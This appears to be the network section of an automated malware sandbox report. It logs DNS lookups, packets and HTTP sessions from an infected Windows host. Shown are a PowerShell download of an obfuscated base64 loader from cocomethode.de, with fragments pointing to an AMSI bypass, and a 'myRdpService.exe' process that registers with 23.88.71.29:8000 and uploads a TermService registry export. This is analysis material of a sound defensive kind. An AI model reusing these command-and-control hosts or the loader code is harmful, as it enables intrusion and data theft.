Dec 11, 2024 12:46:37.181781054 CET	49771	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:46:37.181793928 CET	443	49771	104.21.1.51	192.168.11.30
Dec 11, 2024 12:46:37.182159901 CET	49771	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:46:37.182750940 CET	49771	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:46:37.421726942 CET	443	49771	104.21.1.51	192.168.11.30
Dec 11, 2024 12:46:37.421734095 CET	443	49771	104.21.1.51	192.168.11.30
Dec 11, 2024 12:46:37.421818018 CET	443	49771	104.21.1.51	192.168.11.30
Dec 11, 2024 12:46:37.421926022 CET	49771	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:46:37.422012091 CET	49771	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:46:37.422025919 CET	443	49771	104.21.1.51	192.168.11.30
Dec 11, 2024 12:46:37.422195911 CET	49771	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:46:37.423635006 CET	443	49771	104.21.1.51	192.168.11.30
Dec 11, 2024 12:46:37.423652887 CET	443	49771	104.21.1.51	192.168.11.30
Dec 11, 2024 12:46:37.423875093 CET	49771	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:46:37.423892975 CET	443	49771	104.21.1.51	192.168.11.30
Dec 11, 2024 12:46:37.423954964 CET	49771	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:46:37.424114943 CET	49771	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:46:37.425517082 CET	443	49771	104.21.1.51	192.168.11.30
Dec 11, 2024 12:46:37.425535917 CET	443	49771	104.21.1.51	192.168.11.30
Dec 11, 2024 12:46:37.425759077 CET	49771	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:46:37.425776005 CET	443	49771	104.21.1.51	192.168.11.30
Dec 11, 2024 12:46:37.425853968 CET	49771	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:46:37.426033020 CET	49771	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:46:37.427481890 CET	443	49771	104.21.1.51	192.168.11.30
Dec 11, 2024 12:46:37.427719116 CET	49771	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:46:37.634210110 CET	443	49771	104.21.1.51	192.168.11.30
Dec 11, 2024 12:46:37.635318041 CET	49771	443	192.168.11.30	104.21.1.51
Dec 11, 2024 12:46:38.066253901 CET	443	49771	104.21.1.51	192.168.11.30
Dec 11, 2024 12:46:38.066512108 CET	49771	443	192.168.11.30	104.21.1.51

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 11, 2024 12:43:59.845171928 CET	64351	53	192.168.11.30	1.1.1.1
Dec 11, 2024 12:43:59.991703033 CET	53	64351	1.1.1.1	192.168.11.30

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 11, 2024 12:43:59.845171928 CET	192.168.11.30	1.1.1.1	0x9d77	Standard query (0)	cocomethode.de	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 11, 2024 12:43:59.991703033 CET	1.1.1.1	192.168.11.30	0x9d77	No error (0)	cocomethode.de		104.21.1.51	A (IP address)	IN (0x0001)	false
Dec 11, 2024 12:43:59.991703033 CET	1.1.1.1	192.168.11.30	0x9d77	No error (0)	cocomethode.de		172.67.128.139	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

cocomethode.de

23.88.71.29:8000

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.30	49764	104.21.1.51	80	9168	C:\Windows\Temp\svczHost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 12:44:46.316369057 CET	73	OUT	GET /api/check HTTP/1.1 Host: cocomethode.de Connection: Keep-Alive
Dec 11, 2024 12:44:46.771614075 CET	1289	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Cache-Control: no-store,no-cache Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5NT9tWvR4PkEOAAuhEdGLX%2Bxlv2nlSfDVZ4TMnn4z%2FEp48WYNDa5UfuI5vYZh96RQjPzgbIRb3i58OLlLfAG2Gwcvr4tPDHaseI8g5pZp4pQidbYpOjxuAWzbe5SVLanVIV%2BQhKUHIoD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=15445&min_rtt=1025&rtt_var=22871&sent=32967&recv=14550&lost=0&retrans=0&sent_bytes=47071136&recv_bytes=165877&delivery_rate=17620689&cwnd=224&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f053981d9d84584-ATL server-timing: cfL4;desc="?proto=TCP&rtt=71&min_rtt=19&rtt_var=28&sent=319&recv=296&lost=0&retrans=0&sent_bytes=8359932&recv_bytes=1284&delivery_rate=3446473684&cwnd=152&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=89&min_rtt=20&rtt_var=59&sent=338&recv=312&lost=0&retrans=0&sent_bytes=8361341&recv_bytes=1908&delivery_rate=3274150000&cwnd=185&unsent_bytes=0&cid=000000000 Data Raw: Data Ascii:
Dec 11, 2024 12:44:46.771652937 CET	444	IN	Data Raw: 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 36 35 26 6d 69 6e 5f 72 74 74 3d 32 30 26 72 74 74 5f 76 61 72 3d 32 Data Ascii: 000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=65&min_rtt=20&rtt_var=25&sent=340&recv=320&lost=0&retrans=0&sent_bytes=8361965&recv_bytes=1868&delivery_rate=3274150000&cwnd=166&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-t
Dec 11, 2024 12:44:46.771672964 CET	362	IN	Data Raw: 31 36 33 0d 0a 31 37 33 33 39 31 37 34 38 36 7c 69 6b 62 63 64 4c 72 59 66 6e 55 64 47 57 4b 50 57 69 69 31 43 65 57 58 65 62 58 74 66 5a 6b 35 53 6a 6d 4b 35 52 62 47 62 4c 61 52 6a 4d 53 47 4b 7a 51 62 4c 2f 64 31 41 53 55 71 57 51 75 52 4b 36 Data Ascii: 1631733917486\|ikbcdLrYfnUdGWKPWii1CeWXebXtfZk5SjmK5RbGbLaRjMSGKzQbL/d1ASUqWQuRK6xii0923MZgWKLphDkZpfP1hIQ4aS5IDP+YkxPieF4PJlKfRMV686ehJ4u44V7Jy8KDgywMN1mxt220/Etudzio9EkMRNAcufB1BJHH6PMKIE8vEoh93lDAxmkuCZc2IeaDlgv5o66KrFUKwZE1tjhTVmLcUK5TxCb
Dec 11, 2024 12:44:46.771688938 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.30	49768	23.88.71.29	8000	5184	C:\Windows\Temp\myRdpService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 12:45:49.683788061 CET	164	OUT	GET /client/ws HTTP/1.1 Host: 23.88.71.29:8000 Connection: Upgrade Upgrade: websocket Sec-WebSocket-Key: 2SDZ3V4OhUmr9mCZCgUwdg== Sec-WebSocket-Version: 13
Dec 11, 2024 12:45:50.422166109 CET	840	IN	HTTP/1.1 101 Switching Protocols Upgrade: Websocket Server: Microsoft-IIS/8.5 Sec-Websocket-Accept: 5ahReaLVygO7SvFu+cE0fpcK4dA= CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HCE6IOuqn9%2BHSB2A1LrRmxa9ZCaNXtx6zv88bylsqMYfeCpLHVfBU2%2B5Qn0K23fEI33C0A68uDz6kav30tmmA%2Fj%2BEOvwEXq3FvrblbWcoDigFDIELInSIjVEB4gjsnn4Qn1u%2F8ZT0yYN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} CF-RAY: 8f053b0e3fc7dc68-FRA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5460&min_rtt=5460&rtt_var=2730&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=307&delivery_rate=0&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Connection: Upgrade Date: Wed, 11 Dec 2024 11:45:50 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.30	49769	23.88.71.29	8000	5184	C:\Windows\Temp\myRdpService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 12:45:54.038332939 CET	234	OUT	POST /api/registry HTTP/1.1 Host: 23.88.71.29:8000 Connection: Keep-Alive Content-Type: application/json Content-Length: 102 Data Raw: 22 45 43 41 34 45 37 46 36 34 35 43 45 41 42 43 46 31 34 31 44 36 30 32 43 43 33 30 38 39 36 37 32 7c 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 7c 31 30 2e 30 2e 31 39 30 34 32 20 4e 2f 41 20 42 75 69 6c 64 20 31 39 30 34 32 2d 31 30 2e 30 2e 31 39 30 34 31 2e 31 30 38 31 22 Data Ascii: "ECA4E7F645CEABCF141D602CC3089672\|Microsoft Windows 10 Pro\|10.0.19042 N/A Build 19042-10.0.19041.1081"
Dec 11, 2024 12:45:54.803580046 CET	807	IN	HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/8.5 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Tu3XHQFkIamDQAvVUuTeLCZ%2B%2BOODNt4oDfX%2FUpP0ee0fc8xZ%2BL8h36yytmuNNYSzhe0wHIyMJZc70Kvy7ob4S6EvVLkpiBmSsFTqqnfD80g4RO5EIHVsL1bnRor3gl%2BfN9wbwhXk7u94"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} CF-RAY: 8f053b29788239e0-FRA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5363&min_rtt=5363&rtt_var=2681&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=380&delivery_rate=0&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Date: Wed, 11 Dec 2024 11:45:54 GMT Content-Length: 32 Data Raw: 36 63 63 65 37 31 38 32 64 35 30 65 64 33 64 37 65 36 31 31 34 36 36 63 63 65 61 66 61 35 65 32 Data Ascii: 6cce7182d50ed3d7e611466cceafa5e2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.30	49770	23.88.71.29	8000	5184	C:\Windows\Temp\myRdpService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 12:45:55.019942045 CET	1289	OUT	POST /api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2 HTTP/1.1 Host: 23.88.71.29:8000 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=---------------------8dd19af75b992ae Content-Length: 5689 Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 39 61 66 37 35 62 39 39 32 61 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 72 65 67 42 61 63 6b 75 70 2e 72 65 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff fe 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 52 00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 20 00 45 00 64 00 69 00 74 00 6f 00 72 00 20 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 20 00 35 00 2e 00 30 00 30 00 0d 00 0a 00 0d 00 0a 00 5b 00 48 00 4b 00 45 00 59 00 5f 00 4c 00 4f 00 43 00 41 00 4c 00 5f 00 4d 00 41 00 43 00 48 00 49 00 4e 00 45 00 5c 00 53 00 59 00 53 00 54 00 45 00 4d 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 53 00 65 00 72 00 76 00 69 00 63 00 65 [TRUNCATED] Data Ascii: -----------------------8dd19af75b992aeContent-Disposition: form-data; name="file"; filename="regBackup.reg"Content-Type: application/octet-streamWindows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]"DependOnService"=hex(7):52,00,50,00,43,00,53,00,53,00,00,00,00,00"Description"="@%SystemRoot%\\System32\\termsrv.dll,-267""DisplayName"="@%SystemRoot%\\System32\\termsrv.dll,-268""ErrorControl"=dword:00000001"FailureActions"=hex:80,51,01,00,00,00,00,00,00,00,00,00,03,00,00,00,14,00,00,\ 00,01,00,00,00,60,ea, [TRUNCATED]
Dec 11, 2024 12:45:55.459685087 CET	846	IN	HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Server: Microsoft-IIS/8.5 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FP%2F%2FZNYOGWh2xNNy0D6UthFFNnJp%2FKt4dmysSASVZ3P%2B6ZAxvBv5kkfHH30ZkOP2o5dEhiSxAIj5eul82xgIdQhi1z%2Fqdk9ovMKDPBoFM8NtvQ6zQfai8fz4XdGRONo5deiRmD7NnPaI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} CF-RAY: 8f053b2f8d5e39e0-FRA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=11939&min_rtt=5349&rtt_var=14659&sent=14&recv=18&lost=0&retrans=0&sent_bytes=1655&recv_bytes=12576&delivery_rate=541241&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Date: Wed, 11 Dec 2024 11:45:54 GMT Content-Length: 41 Data Raw: 46 69 6c 65 20 72 65 67 42 61 63 6b 75 70 2e 72 65 67 20 75 70 6c 6f 61 64 65 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 2e Data Ascii: File regBackup.reg uploaded successfully.

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.30	49740	104.21.1.51	443	6616	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:00 UTC	165	OUT	GET /fbJ5ex HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Connection: Keep-Alive
2024-12-11 11:44:01 UTC	1212	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:01 GMT Content-Type: application/octet-stream Content-Length: 6377 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qai2c6VmfvbsYG0zO2ivmN%2F46WWwJCdIQkRVtOrsYqivFudl2JncwI0Bl4IxsOxqH58bV6SXJU1L10WdZp1tzWwJNPkQG%2BzWVGXcJrs1yxbt20tz7Frn1SXg5cvD6%2FPGdpxYQO3Im6yM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1064&min_rtt=1064&rtt_var=532&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=560&delivery_rate=0&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f053862d93dbd5e-ATL server-timing: cfL4;desc="?proto=TCP&rtt=40&min_rtt=40&rtt_var=20&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=396&delivery_rate=0&cwnd=91&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=114187&min_rtt=114169&rtt_var=24111&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=779&delivery_rate=33535&cwnd=252&unsent_bytes=0&cid=c0c584b0a35ed4d0&ts=868&x=0"
2024-12-11 11:44:01 UTC	157	IN	Data Raw: 24 61 63 6c 69 61 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 62 46 5a 35 59 56 59 77 4e 6b 39 72 56 6e 70 5a 4d 6b 5a 33 57 6c 56 53 61 47 52 48 52 6c 52 6b 53 45 70 77 59 6d 31 6a 62 30 74 46 5a 47 78 6b 51 7a 46 59 59 6c 64 73 55 46 6c 74 63 47 78 5a 4d 31 46 6e 54 46 55 31 61 47 Data Ascii: $aclia=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("bFZ5YVYwNk9rVnpZMkZ3WlVSaGRHRlRkSEpwYm1jb0tFZGxkQzFYYldsUFltcGxZM1FnTFU1aG
2024-12-11 11:44:01 UTC	1369	IN	Data Raw: 4a 58 56 6e 70 6a 52 30 5a 71 57 6c 4e 42 61 57 4e 74 4f 58 5a 6b 52 6e 68 55 57 6c 64 4f 4d 57 4e 74 62 44 42 6c 56 55 35 73 59 6d 35 53 62 47 4e 71 53 57 6c 4a 51 7a 46 53 5a 46 64 57 65 57 56 54 51 57 6c 56 4d 46 5a 4e 55 6c 56 4f 56 55 6c 44 62 32 64 53 62 45 70 51 56 46 4e 43 51 6d 4a 75 55 6e 42 6b 62 57 78 35 5a 46 68 4f 55 57 4e 74 4f 57 74 6b 56 30 34 77 53 57 6c 43 4f 45 6c 47 54 6d 78 69 52 31 5a 71 5a 45 4d 78 55 46 6c 74 63 47 78 5a 4d 31 46 6e 54 46 56 57 4e 47 4e 48 52 6e 56 61 52 6b 4a 35 59 6a 4e 43 62 47 4e 75 55 6a 56 4a 52 31 4a 77 59 7a 4e 43 63 31 6c 59 62 45 39 5a 56 7a 46 73 53 31 4e 42 64 47 46 74 4f 58 42 69 61 55 46 70 54 45 4e 4a 63 45 39 35 51 6e 42 61 61 55 46 76 56 7a 4e 4f 4d 47 4e 74 62 48 56 61 4d 54 41 32 54 32 74 73 65 Data Ascii: JXVnpjR0ZqWlNBaWNtOXZkRnhUWldOMWNtbDBlVU5sYm5SbGNqSWlJQzFSZFdWeWVTQWlVMFZNUlVOVUlDb2dSbEpQVFNCQmJuUnBkbWx5ZFhOUWNtOWtkV04wSWlCOElGTmxiR1ZqZEMxUFltcGxZM1FnTFVWNGNHRnVaRkJ5YjNCbGNuUjVJR1JwYzNCc1lYbE9ZVzFsS1NBdGFtOXBiaUFpTENJcE95QnBaaUFvVzNOMGNtbHVaMTA2T2tse
2024-12-11 11:44:01 UTC	1369	IN	Data Raw: 36 59 56 64 53 62 45 6c 49 55 6e 6c 6c 55 7a 46 71 57 56 68 53 61 6d 46 44 51 6d 6c 69 52 7a 6c 71 59 58 63 77 53 32 52 49 53 6a 56 4a 53 48 4e 4f 51 32 6c 42 5a 30 6c 44 51 55 35 44 61 55 46 6e 53 55 4e 42 61 31 6b 79 4f 58 56 6b 52 31 5a 31 5a 45 4e 42 4f 55 6c 46 62 48 56 6b 62 54 6c 79 57 6c 4d 78 57 46 70 58 53 6c 4e 61 57 45 59 78 57 6c 68 4f 4d 45 6c 44 4d 56 5a 6a 62 57 74 6e 53 6b 68 57 65 57 4a 44 51 58 52 57 57 45 35 73 55 57 31 47 65 6d 46 58 54 6c 46 5a 57 45 70 36 59 56 63 31 62 6b 52 52 63 44 6c 4a 52 30 35 6f 5a 45 64 4f 62 30 6c 49 63 30 35 44 61 55 46 6e 53 55 4e 43 57 47 4e 74 62 44 42 61 55 7a 46 51 5a 46 68 53 64 32 52 59 55 57 64 4a 61 31 5a 35 59 32 30 35 65 55 6c 44 55 6a 46 6a 62 58 64 70 54 33 63 77 53 30 6c 44 51 57 64 4a 53 45 Data Ascii: 6YVdSbElIUnllUzFqWVhSamFDQmliRzlqYXcwS2RISjVJSHNOQ2lBZ0lDQU5DaUFnSUNBa1kyOXVkR1Z1ZENBOUlFbHVkbTlyWlMxWFpXSlNaWEYxWlhOMElDMVZjbWtnSkhWeWJDQXRWWE5sUW1GemFXTlFZWEp6YVc1bkRRcDlJR05oZEdOb0lIc05DaUFnSUNCWGNtbDBaUzFQZFhSd2RYUWdJa1Z5Y205eUlDUjFjbXdpT3cwS0lDQWdJSE
2024-12-11 11:44:01 UTC	1369	IN	Data Raw: 0a 24 62 79 6f 64 6c 63 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 55 56 64 53 61 30 78 57 55 6a 56 6a 52 31 56 6e 54 46 5a 53 4e 57 4e 48 56 6b 56 61 56 31 70 77 59 6d 31 73 4d 47 46 58 4f 58 56 4a 51 32 51 78 59 7a 4a 73 64 56 70 35 51 6c 52 6c 57 45 34 77 57 6c 63 77 4e 30 6c 49 56 6e 70 68 56 7a 56 75 53 55 5a 4f 4e 57 4d 7a 55 6d 78 69 55 7a 56 54 5a 46 63 31 4d 47 46 58 4d 57 78 4d 61 32 78 31 5a 45 64 57 65 57 49 7a 51 6c 52 61 57 45 6f 79 59 56 64 4f 62 47 4e 36 63 32 64 6a 53 46 5a 70 59 6b 64 73 61 6b 6c 48 54 6e 4e 5a 57 45 35 36 53 55 5a 6b 63 47 4a 71 54 58 Data Ascii: $byodlc=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("UVdSa0xWUjVjR1VnTFZSNWNHVkVaV1pwYm1sMGFXOXVJQ2QxYzJsdVp5QlRlWE4wWlcwN0lIVnphVzVuSUZONWMzUmxiUzVTZFc1MGFXMWxMa2x1ZEdWeWIzQlRaWEoyYVdObGN6c2djSFZpYkdsaklHTnNZWE56SUZkcGJqTX
2024-12-11 11:44:01 UTC	741	IN	Data Raw: 62 56 38 3d 22 29 29 3b 0a 24 79 69 77 6c 68 6a 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 61 57 46 6e 62 6d 39 7a 64 47 6c 6a 63 79 35 46 64 6d 56 75 64 47 6c 75 5a 79 35 46 64 6d 56 75 64 46 42 79 62 33 5a 70 5a 47 56 79 22 29 29 3b 0a 24 73 65 69 6b 6e 61 68 6b 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 55 33 6c 7a 64 47 56 74 4c 6b 51 3d 22 29 29 3b 0a 24 73 6e 75 6d 76 70 63 65 77 Data Ascii: bV8="));$yiwlhj=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("aWFnbm9zdGljcy5FdmVudGluZy5FdmVudFByb3ZpZGVy"));$seiknahk=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("U3lzdGVtLkQ="));$snumvpcew
2024-12-11 11:44:01 UTC	1369	IN	Data Raw: 22 61 55 6c 75 61 58 52 47 59 57 6c 73 5a 57 51 3d 22 29 29 3b 0a 24 6d 61 77 78 6f 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 59 57 31 7a 22 29 29 3b 0a 24 6d 69 76 68 75 62 6c 7a 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 59 57 35 68 5a 32 56 74 5a 57 35 30 4c 6b 46 31 64 47 39 74 59 58 52 70 62 32 34 75 51 57 31 7a 61 56 56 30 61 57 78 7a 22 29 29 3b 0a 24 62 63 70 67 62 64 3d 5b 53 Data Ascii: "aUluaXRGYWlsZWQ="));$mawxo=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("YW1z"));$mivhublz=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("YW5hZ2VtZW50LkF1dG9tYXRpb24uQW1zaVV0aWxz"));$bcpgbd=[S
2024-12-11 11:44:01 UTC	3	IN	Data Raw: 29 3b 0a Data Ascii: );

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.30	49741	104.21.1.51	443	6616	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:02 UTC	369	OUT	GET /file3/d9dfe974fbbd6a01f97629760ed0554b2f05b97cf7aaa7b915fbc8058e9200929c82f11dfb2e9390f9dd7644a9aec526961529f07ac36dcfaa45d1951cf1541beba58f14d842eb2818c592de7ef7788a4bc3b6e43f0cf50f892301271a3b379a/Windows%20Defender/16/16/user/192 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de
2024-12-11 11:44:03 UTC	1314	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:03 GMT Content-Type: application/octet-stream Content-Length: 2866 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0ar6yImXaEDnSzP76kjlmi33SRWYc3tvZEJfOwew3Iq%2FQDtVnYc6N9f48Q2FpksJLlvuy9gwHv%2BEs9DIQ8hbJfaqOz68AsqgTwpFW%2Bopcx5fT8np%2Bo64Y9S1ZsgrKqGWCZWZygswj4N9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2813&min_rtt=1185&rtt_var=267&sent=24455&recv=11141&lost=0&retrans=0&sent_bytes=35046505&recv_bytes=118588&delivery_rate=47390163&cwnd=270&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f053872ccb7b047-ATL server-timing: cfL4;desc="?proto=TCP&rtt=41&min_rtt=41&rtt_var=20&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=624&delivery_rate=0&cwnd=175&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113703&min_rtt=113657&rtt_var=24049&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1007&delivery_rate=33653&cwnd=252&unsent_bytes=0&cid=3bcd472f0a1663a0&ts=860&x=0"
2024-12-11 11:44:03 UTC	55	IN	Data Raw: 25 6c 67 77 72 6c 78 65 76 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 Data Ascii: %lgwrlxev<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxru
